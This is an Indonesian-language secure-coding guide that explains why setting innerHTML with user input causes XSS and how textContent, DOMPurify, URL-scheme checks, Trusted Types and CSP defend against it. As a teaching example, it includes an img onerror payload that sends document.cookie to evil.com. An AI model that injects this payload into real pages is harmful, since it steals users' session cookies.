Keamanan Template vs innerHTML

Menetapkan el.innerHTML = userInput akan menguraikan string sebagai HTML. Jika userInput berisi <script> atau penangan peristiwa seperti onerror, peramban akan menjalankannya—sehingga menimbulkan kerentanan Cross-Site Scripting (XSS).

Penyerang mengirimkan nama pengguna: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Jika ini dirender dengan innerHTML, onerror dijalankan dan cookie sesi dikirim keluar. Konten teks berubah menjadi kode yang dapat dieksekusi.

el.textContent = userInput memperlakukan string sebagai teks biasa—tanpa penguraian HTML dan tanpa eksekusi skrip. Peramban secara otomatis melakukan pelepasan karakter < dan > di dalam simpul teks. Selalu gunakan textContent untuk nilai yang diberikan pengguna.

Saat menggunakan template.cloneNode(true), struktur berasal dari template HTML yang telah diuraikan sebelumnya—bukan dari string yang diberikan pengguna. Menetapkan nilai melalui textContent pada simpul yang dikloning membuat data pengguna tetap berada dalam simpul teks, bukan dalam HTML yang diuraikan. Struktur dan data dipisahkan.

Jika pemformatan HTML dari pengguna diperlukan (teks kaya), bersihkan terlebih dahulu sebelum menetapkan innerHTML. DOMPurify adalah pustaka standar: el.innerHTML = DOMPurify.sanitize(richHtml). Pustaka ini menghapus tag dan atribut berbahaya sambil mempertahankan pemformatan yang aman.

insertAdjacentHTML("beforeend", html) juga menguraikan string HTML—risiko XSS-nya sama seperti innerHTML. Terapkan aturan pembersihan yang sama. Alternatif yang lebih aman: buat elemen dengan createElement, tetapkan textContent-nya, lalu gunakan appendChild.

Menetapkan atribut dengan data pengguna dapat menimbulkan injeksi: el.setAttribute("href", userUrl) ketika userUrl adalah javascript:alert(1) akan membuat XSS. Validasi skema URL: hanya izinkan http:, https:, dan mailto: sebelum menetapkan atribut href atau src.

Pengambilalihan DOM adalah serangan ketika elemen formulir bernama (id="getElementById") menimpa variabel JavaScript global. Selalu akses elemen melalui document.getElementById(), bukan melalui properti global window. Content Security Policy juga mengurangi serangan pengambilalihan.

Trusted Types (Chrome, diberlakukan melalui CSP) mengharuskan semua tujuan innerHTML, insertAdjacentHTML, dan tujuan serupa menerima string yang dibungkus oleh kebijakan. String mentah tidak dapat ditetapkan—hanya nilai yang dibuat oleh kebijakan TrustedTypes yang telah dideklarasikan. Hal ini mencegah pembersihan dilewati secara tidak sengaja.

Membuat elemen dengan API DOM (createElement, createTextNode) dan memanipulasinya dalam DocumentFragment pada dasarnya aman dari XSS—teks selalu berupa teks, bukan HTML yang diuraikan. DocumentFragments adalah cara paling aman untuk membuat antarmuka pengguna dinamis yang kompleks.

CSP yang ketat (tanpa unsafe-inline, dengan skrip berbasis nonce) memberikan perlindungan berlapis terhadap XSS. Bahkan jika penyerang menyisipkan HTML, CSP mencegah skrip yang disisipkan untuk dijalankan. CSP tidak menghilangkan kebutuhan akan pembersihan—CSP adalah jaring pengaman, bukan pertahanan utama.

innerHTML dan API terkait menguraikan string HTML, sehingga menimbulkan kerentanan XSS ketika data pengguna disisipkan tanpa pembersihan. Penggunaan textContent, kloning template dengan pengisian melalui textContent, DOMPurify untuk teks kaya, dan Content Security Policy menciptakan pertahanan berlapis terhadap serangan injeksi HTML.